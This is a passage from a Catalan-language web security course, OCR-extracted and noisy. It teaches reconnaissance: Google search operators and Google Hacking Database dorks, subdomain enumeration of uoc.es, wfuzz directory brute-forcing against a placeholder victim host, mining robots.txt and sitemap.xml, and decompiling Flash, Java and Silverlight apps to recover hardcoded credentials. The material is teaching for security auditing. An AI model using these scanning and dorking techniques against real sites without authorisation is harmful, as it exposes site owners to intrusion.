la informacié que ens interessa, cosa que ens permetra recopilar molta infor-
macio6 sobre un lloc web sense haver de fer, en principi, cap petici6 al servidor
en qiiestio.

Google ofereix diversos filtres que ens permeten afinar la cerca que volem fer
i que combinats els uns amb els altres aconsegueixen una poténcia molt més

gran:

* +<palabra>: incloure un + (més) davant d'una paraula requereix la presen-

cia obligatoria d'aquesta paraula en les pagines retornades.

e —<palabra>: posar un simbol - (menys) davant d'una paraula exclou tots

els resultats que contenen aquesta paraula.

e ‘“<palabras>": posant una frase entre cometes dobles busquem cadenes
completes de text dins dels resultats.

e Es pot usar el caracter * amb el significat que pot apareixer qualsevol pa-
raula dins d'una frase posada entre cometes.

e intitle:<texto>: permet buscar en el titol de la pagina.

e inurl:<texto>: fales cerques en I'URL de la pagina.

e intext:<texto>: busca el text en el cos de les pagines retornades.

e filetype:<extensiodn>: restringeix la cerca a l'extensio especificada.

* domain:<dominio>: limita els resultats al domini especificat. Es pot usar

solament l'identificador del pais (com ara .es).

Amb aquests filtres i combinant-los entre si podem trobar qualsevol cosa que

hi hagi a Internet.
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Figura 46. Resultats de la cerca +users.mdb intitle:”Index of”
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Google Hacking Database és una base de dades de cerques d'una eficacia cor-
roborada que permet obtenir dades interessants referents a fitxers de configu-
racio, zones privades, dispositius connectats a la xarxa, programari vulnerable,

etc.

Usant aquest tipus de cerques es poden arribar a coneixer moltissimes dades
d'un servidor. Un dels exemples més clars d’aixo és la possibilitat de localitzar
subdominis d'un domini concret mitjancant cerques recursives. Ara posarem

un exemple perqué quedi demostrada la utilitat d'aquestes tecniques.

D’entrada se selecciona un domini; en aquest cas s'ha triat el domini uoc.es.
Per comencar s'executa la cerca segiient:

site:uoc.edu

Aquesta cerca retorna 587.000 resultats. Evidentment tots aquestes pagines no
pertanyen solament a un domini, siné que hi ha diferents llocs implicats.

El procés és simple. Consisteix a veure quin és el subdomini del primer resultat
retornat i afegir-lo amb un simbol — (menys) a davant. Per exemple:

-www site:uoc.es
Excloent el subdomini www de les cerques obtindrem un nombre de pagines

retornades de 631.000. Seguint aquest procés arribarem a generar una cerca
que no ens retorni cap resultat. Una aproximacio d’aixo és la segiient:

—acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinuxl -cicr -campus -icesd -laos -xequia -dpcs -cimanet

-comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv -www -biblio site:uoc.es


http://johnny.ihackstuff.com/ghdb.php
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S’ha de recordar que fins ara i mitjancant aquesta técnica en cap moment no
s’ha fet cap petici6 directa al domini uoc.es, de manera que és impossible saber
qui esta intentant esbrinar informaci6 sobre el nostre domini.

Unes altres cerques que podem trobar aqui s6n les que ens poden retornar tots
els fitxers ofimatics del servidor, com ara fitxers .doc, .xls, .pdf, etc.

Aquests fitxers, en les diferents versions, inclouen més o menys quantitat
de metadades que tenen informaci6 sobre noms d'usuaris o camins locals de
l'ordinador on es va generar el fitxer. Amb tota aquesta informaci6 un atacant
podria comencar a utilitzar un programa de forca bruta per a intentar treure
les contrasenyes.
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6. Seguretat per ocultacid

Es habitual amagar una clau “d'emergéncia” en algun lloc proxim a la porta
d'una casa perqueé hi puguem entrar si hem perdut la nostra clau. Evidentment
aix0 no és gens segur, ja que qualsevol persona que la trobi podra entrar, igual

que nosaltres, a casa nostra.

Aquest simil amb la vida real serveix per a enllacar la idea amb una aplicaci6
web. Es comt entre els programadors web usar directoris especifics per a ac-
tivitats especifiques com l'administracio, les zones de proves o la pujada de
fitxers temporals. Alguns dels més comuns sén aquests:

® /admin

e /logs

e /uploads

e /phpmyadmin
* /tmp

Aquests directoris es poden descobrir mitjan¢ant proves manuals o fent is  ©un programa fuzzer és un pro-

grama que automatitza tasques re-

d'algun programa com ara fuzzer® que faci les peticions per nosaltres. En aquest petitives.

cas el farem servir per a automatitzar la cerca de directoris amb noms coneguts.

Wfuzz és un programa d'aquest tipus; fa connexions a un servidor web, subs-
tituint en la zona de I'URL que nosaltres especifiquem una cadena de text que
va agafant linia rere linia d'un fitxer de text.

Es pot baixar gratuitament i l'utilitzarem per a fer una demostracio de les dades
que es poden arribar a obtenir mitjancant aquesta eina. Vegem com 1'hem de
fer servir. La sintaxi és simple:

wfuzz.exe -z file -f wordlists\common.txt --hc 404 http://www.victima.com/FUZZ

La linia anterior representa una execucio tipica del programa wfuzz i ens ser-
veix d’exemple per a determinar quins son els parametres mes utils a I'nora
de fer una analisi mitjancant aquesta eina. Amb aquests parametres indiquem
al programa el segiient:

e -z: fes servir el payload de tipus fitxer. Aixo és, els noms de les carpetes
ocultes que anem a buscar s’agafaran des d'un fitxer de text.

e -f: el nom del fitxer que s'usara. En aquest cas hem seleccionat el fitxer
common.txt que acompanya el programa i que conté una llista dels noms

més comuns de directoris ocults.


http://www.edge-security.com/wfuzz.php
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e --hc 404: el parametre hc ens permet eliminar resultats de la sortida del

programa sobre la base del codi HTTP que es retorna. En 1'exemple s'ha

usat el codi 404 perque és el codi associat als errors en el protocol HTTP.

També es poden establir filtres per nombre de linies (--hl) i paraules (--

hw) que conté una pagina, per si ens trobem amb un servidor que retorna

sempre una pagina amb codi 200.

e http://www.victima.com/FUZZ: alla on col-loquem la paraula FUZZ és on

el programa incloura en cada petici6 la paraula segiient del fitxer especi-

ficat.

Figura 47. Resultat de I'execuci6 del programa wfuzz

-

C:\Windows\system32\cmd.exe

The web bruteforcer

Target: http:/
Payload type:

Total requests: 947

Response dnes . Request

“icons"

(=)@ [

En la imatge anterior apreciem que el programa ha detectat una serie de di-

rectoris en el servidor analitzat. D'aquests directoris els de “password” i “test”

poden resultar interessants per a comencar a fer una revisié de seguretat.

Una altra manera de trobar directoris i fitxers ocults en una aplicacio és la cerca

del fitxer robots.txt. Aquest fitxer l'usen els administradors de llocs web per a

evitar que Google i altres cercadors indexin zones que no volen que s’indexin.

Figura 48. Exemple de fitxer robots.txt

@ Mozilla Firefox olE
File Edit View History Bookmarks Tools Help
1 ~
@ - - @ (g] |\ http:/ ™3 li*  Wrobots.txt | B [Gl+
© Disable~ £ Cookies~ CSS~ [-] Forms~ ¥/ Images~ @ Information ~ Miscellaneous v . Outline~ |, Resize v Tools v §2| View S
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El problema és que hi ha molta gent que no entén del tot la idea d'aquest fitxer,
i hi afegeix tots els camins que no volen que s'indexin, encara que no estiguin
enllacats des de cap lloc (recordem que els cercadors solament indexen si es
fa un enlla¢ des d'algun lloc). Per aix0 podem trobar fitxers robots.txt que
contenen referéncies a zones administratives, de proves, privades.

Un altre fitxer que ens pot donar molta informacié i que, al contrari dels an-
teriors, és informaci6 publica és el fitxer sitemap.xml. El fitxer sitemap.xml és
un fitxer proposat per Google com una manera d'indicar al cercador quines
son les pagines més interessants d'un lloc web i quines sén les menys actua-
litzades. Aquesta informacié sembla obvia i la podem trobar nosaltres matei-
xo0s navegant per la pagina. No obstant aixo, és de vital importancia perque
ens estalvia temps de navegar pel lloc i, amb una sola petici6, obtenim un es-
quema de l'estructura del lloc. A continuacié mostrem un exemple d'un fitxer

sitemap.xml:

<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
<url>
<loc>http://www.a.com/</loc>
<lastmod>2005-01-01</lastmod>
<changefreg>monthly</changefreg>
<priority>0.8</priority>

</url>

<url>
<loc>http://www.a.com/news</loc>
<changefreg>weekly</changefreqg>

</url>

<url>
<loc>http://www.a.com/archive</loc>
<lastmod>2004-12-23</lastmod>
changefreg>weekly</changefreg>

</url>

<url>
<loc>http://www.a.com/fag</loc>
<lastmod>2004-12-23T18:00:154+00:00</lastmod>
priority>0.3</priority>

</url>

<url>
<loc>http://www.a.com/about</loc>
<lastmod>2004-11-23</lastmod>

</url>
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</urlset>

6.1. Descompiladors de miniaplicacions web

6.1.1. Flash

Flash s'ha posat cada vegada més de moda com una manera d'oferir una inter-
ficie atractiva a 1'usuari final. Actualment hi ha moltes pagines que fan gairebé
un Us abusiu d'aquesta tecnologia. Hem de tenir en consideracid, pero, una
cosa important, que és que Flash no és més que la capa de presentaci6 sobre
la capa de dades i mai una Gnica capa que s'encarrega de tot, encara que a
vegades passa.

Per aix0 aquestes pagines en Flash, si carreguen dades dinamicament, han de
cridar a pagines que retornin aquestes dades segons els parametres proporci-
onats. Pot ser que aquests parametres siguin vulnerables a les injeccions de
codi que hem comentat més amunt. Aquestes crides a fitxers externs es veuen

facilment usant un detector (sniffer) del protocol HTTP.

Un exemple clar d'aixd son les pagines que usen un reproductor d'audio en
Flash i en les quals podem baixar els fitxers MP3 sense haver de veure el codi
font del fitxer Flash.

Figura 49. Captura del fitxer MP3 reproduit des d'un
reproductor web

e D =
Headers | Generator | Config | About

HTTP Headers
http://www.extremoduro.com/001_Dulce_Introduccion_Al_Caos.mp3  »

GET /001_Dulce_Introduccion_Al_Caos.mp3 HTTP/1.1

Host: www.extremoduro.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; nv:1.8....
Accept: text/xml,application/xml,application/xhtml+xml text/html;q
Accept-Language: en-gb,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: 1SO-8859-1,utf-8;q=0.7,%,9=0.7

Keep-Alive: 300

Connection: keep-alive

Range: bytes=3184159-

If-Range: "360006-747fda-8c34dac0"

HTTP/1.x 206 Partial Content

Date: Fri, 06 Jun 2008 09:33:14 GMT

Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8b mod_aut...
Last-Modified: Thu, 24 Apr 2008 14:48:51 GMT

< m

Save All... ] [ Replay... [T] Capture Clear ] [ Close
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En fitxers Flash també es poden descompilar els fitxers, cosa que déna lloc a
un pseudocodi llegible que permet a un atacant saber com actua internament

el fitxer. A més, es pot convertir el codi en un assemblador d'ActionScript” que
podem modificar i tornar a compilar, cosa que ens dona la possibilitat, per
exemple, d'incloure codi JavaScript dins d'un fitxer Flash.

Hi ha molts programes per a fer aquesta accio, i ara mostrarem com s’ha de fer
mitjancant el programa Flasm, de baixada gratuita.

L'aplicaci6 s'executa des de consola. Rep el parametre —-d per a descompilar el
fitxer swf que rep. Com que aboquem el codi per pantalla, hem de redirigir
cap a un fitxer de text la sortida del programa. En aquest exemple farem 1'acci6é
amb un petit joc Flash:

Figura 50. Execuci6 de |'ordre flasm.exe

C:\Windows\system32\cmd.exe S| E S|

C:\Users\Pedro\Desktop\flasmibuwin>flasm.exe —d bhirdsmasher.swf > hirdsmasher. txtE

C:\Users\Pedro\Desktop\flasmlbuwin>_

Aquesta ordre analitza el fitxer swf i extreu el codi que hi esta associat. Aconse-

gueix extreure el codi i convertir-lo en un llenguatge semblant a I'assemblador:

Figura 51. Abocament del codi del fitxer swf

“Dl@ %‘

| birdsmasher.txt - Notepad

File Edit Format View Help

movie ‘birdsmasher.swf’' compressed // flash 7, total -
frames: 11, frame rate: 24 fps, 650x450 px

exportAssets
1 as 'beep
end // of exportAssets

exportAssets
2 as 'songl
end // of exportAssets

definemovieclip 4 // total frames: 1

frame 0
constants 'this', '_visible', 'tar’, '_root’,
‘game’, ‘'Hero', ‘view', 'x', '_x', ‘'dir’, 'y', '_y’,
'treeleaves’, '_width', 'parentx', 'parentY
push "this’
getvariable
push '_visible', FALSE
setMember
push 'tar', '_root’
getvariable
push 'game’
getMember
push 'Hero'
getMember
setvariable
push 'this’
getvariable
push 'view’
function2 () (r:1="this"', r:2="_root")
push r:this, 'x', 'tar’
getvariable
push '_x'
getMember
push 100, ‘tar’
getvariable S

s el llenguatge usat interna-
ment per a programar les aplicaci-
ons Flash. Té una sintaxi semblant
a JavaScript i és un llenguatge in-
terpretat, que vol dir que podem
aconseguir extreure el codi font
original del fitxer swf.



http://flasm.sourceforge.net/
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Coneixer el codi font d'un fitxer swf ens pot ajudar a entendre com funciona
l'aplicacio, a buscar fallades de seguretat en el codi o a localitzar els URL a que
fa referéncia per a carregar informaci6 dins de l'aplicacié Flash. Una vegada
localitzats aquests URL, és qiiestié de provar-hi a sobre les fallades de seguretat
que hem esmentat en altres capitols.

6.1.2. Java

Igual que amb els fitxers Flash, encara que amb menys popularitat actualment,
hi ha les anomenades miniaplicacions Java (applets Java), petites aplicacions
que s'executen dins del nostre navegador.

Java s'executa sobre una maquina virtual; es pot executar el mateix codi en
qualsevol ordinador que implementi la maquina virtual de Java. Aixo té molts
avantatges a 1'hora d'exportar la nostra aplicacié. Tanmateix, també ens per-
met extreure el codi exactament igual que ho feéiem en Flash.

Per a dur a terme aquesta acci6, hi ha programes que fan aquesta conversio i
ens mostren el codi Java original. En la captura de pantalla segiient el progra-
ma usat és Java Decompiler, un programa gratuit que ens permet fer aquestes

accions.

Figura 52. Pantalla principal de Java Decompiler

& Java Decompiler o | =] |

File Edit Navigate Help
2™ s
petstore-ejb3.0.jar X | Object.class String.class CharSequence.class Integer.class

- META-INF

=} petstore
= eb import javax.persistence.PersistenceContext; -

= dao import javax.persistence.Table;
-[J) EJBCatalogDAO.class )
“.[J) EIBCatalogDAORemote.class  [|FENTitY

]

4

EJBCatalogDAO.class | EntityCategory.class X

=5} model [iTable {(nane="CATEGORY" )

- [J) EntityCategory.class public class EntityCategory

“-[J) EntityCategoryDetail.class {

: EntitylItem.class BrersistenceContext

: EntityItemDetail.class private EntityManager em;

- [J) EntityProduct.class private int id:

“-[J) EntityProductDetail.class private Map<String, EntityCateqoryDetail> details;
-3 uti

public EntityCategory() b
{

this.id = 0;

this.details = new HashlMap():
¥

BId
BGeneratedValue
@BColunn (name="ID")
public int getId()
{

return this.id; v
< | »

Find: | N _Q‘.Next U Previous [V Case senstive X



http://java.decompiler.free.fr/
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6.1.3. .NET

Microsoft ha sumat la seva plataforma .NET al Web. Hi ha les aplicacions
ASP.NET, que s'executen del costat del servidor, i que no podrem auditar més
enlla dels parametres que rebi. No obstant aixo, s’expandeix a poc a poc una
nova tecnologia, anomenada Silverlight, que és una compilaci6é .NET que es
carrega des del servidor mitjancant un connector en el nostre navegador. Ai-
x0, igual que Flash i Java, ens permet analitzar el codi font de l'aplicaci6 Sil-
verlight.

Figura 53. Aplicacié de mostra de Silverlight

v c 7Y http://localhost:54651/Test001 TestPage.aspx
@ Disable * & Cookies~ 1 €SS~ ] Forms~ ® Images~ @ Information *
Test001 X | % YouTube - RickRoll'D

Inserte nombre y contrasefia

Usuario: “

Contrasefia:

Entrar

En la captura de pantalla anterior es veu una aplicacio Silverlight molt simple.
Ens sol-licitara usuari i contrasenya per aconseguir entrar. Aquesta aplicacio
esta programada perque comprovi les dades introduides amb unes dades que
estan escrites dins de 1'aplicacié. Aixo és una greu fallada de seguretat, i ara
veurem com s’ha d’analitzar el fitxer per treure l'usuari i la contrasenya valids.

El detall de codi JavaScript és aquest:

<script type="text/javascript">
//<![CDATA[
Sys.Application.initialize();
Sys.Application.add init (function() {

$create (Sys.UI.Silverlight.Control,
{"source”":"ClientBin/Test001.xap"}, null, null,
Sgec("Silverlighcl_parenc"));
}):
/711>
</script>

Per a baixar una aplicacio Silverlight hem de localitzar dins del codi HTML
la secci6 de codi que fa la carrega del fitxer XAP, que conté tot el codi de
l'aplicaci6 Silverlight i és el que el nostre navegador interpretara.
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El fitxer XAP conté una serie de fitxers necessaris per a I'execuci6 del programa.
Aquests fitxers son compilats de .NET i es poden analitzar mitjancant progra-
mes com .NET Reflector. Els fitxers que hi ha en aquest fitxer es poden extreure
mitjancant I'as de qualsevol programa descompressor, ja que realment és un
fitxer ZIP.

Figura 54. Fitxer xap descomprimit

P

Name Date modified
‘e AppManifest.xaml 22/03/2009 23:13
%] System.ComponentModel.DataAnnota... 06/03/2009 18:43
%, System.ComponentModel.dll 06/03/2009 18:43
\%| System.Windows.Ria.dll 11/03/2009 15:27
%] Test001.dll 22/03/2009 23:3

Una vegada descomprimit, es mostren una série d'arxius. Aquests arxius conte-
nen informacio referent a la interficie que usa l'aplicacio pero realment les da-
des importants son en el fitxer Test001.dll (en l'exemple actual). Aquest fitxer
es pot descompilar mitjancant el programa que hem indicat abans i accedir al
codi font intern. En aquest cas veiem dues classes principals: 2pp i MainPage.

Figura 55. Detall del programa descompilat

@ Red Gate's NET

File View Tools Help

00l2@lr P
=) +3 Test001 Disassembler

= Test001.dll -
= m € private void btnOK_Click(object sender, RoutedEventArgs €)
(# =2 References

>

® {)- i ((this.tbNombre.Text == "test") && (this.tbClave.Password == "melon"))
= {} Test001 {
& “% App this.Login.Begin();
= “$ MainPage )I
# %) Base Types (ese
@ (4 Derived Types this.tbClave.Password = "";
@ .ctor() this.tbNombre. Text = "";

FAd btnOK_Click(Object, Rout{fl }

© InitializeComponent() : Vo }

& contentl naded : Roalean

En la imatge anterior veiem que en la classe MainPage hi ha un metode
btnOK_Click. Aaquest metode s’hi ha de cridar quan premem el bot6 d'entrar
de l'aplicacié. En el codi que hi ha associat, veiem que es comprova el nom
d'usuari amb la cadena “test” ila clau amb la cadena “melon”.

Tant Silverlight com les miniaplicacions Java o les aplicacions Flash s6n una
mera forma de posar un contingut d'una manera més vistosa per a lusuari.
No obstant aix0, a vegades els desenvolupadors web el fan servir com un llen-
guatge de programacio web completament valid, cosa que s'ha demostrat que
és del tot insegura.
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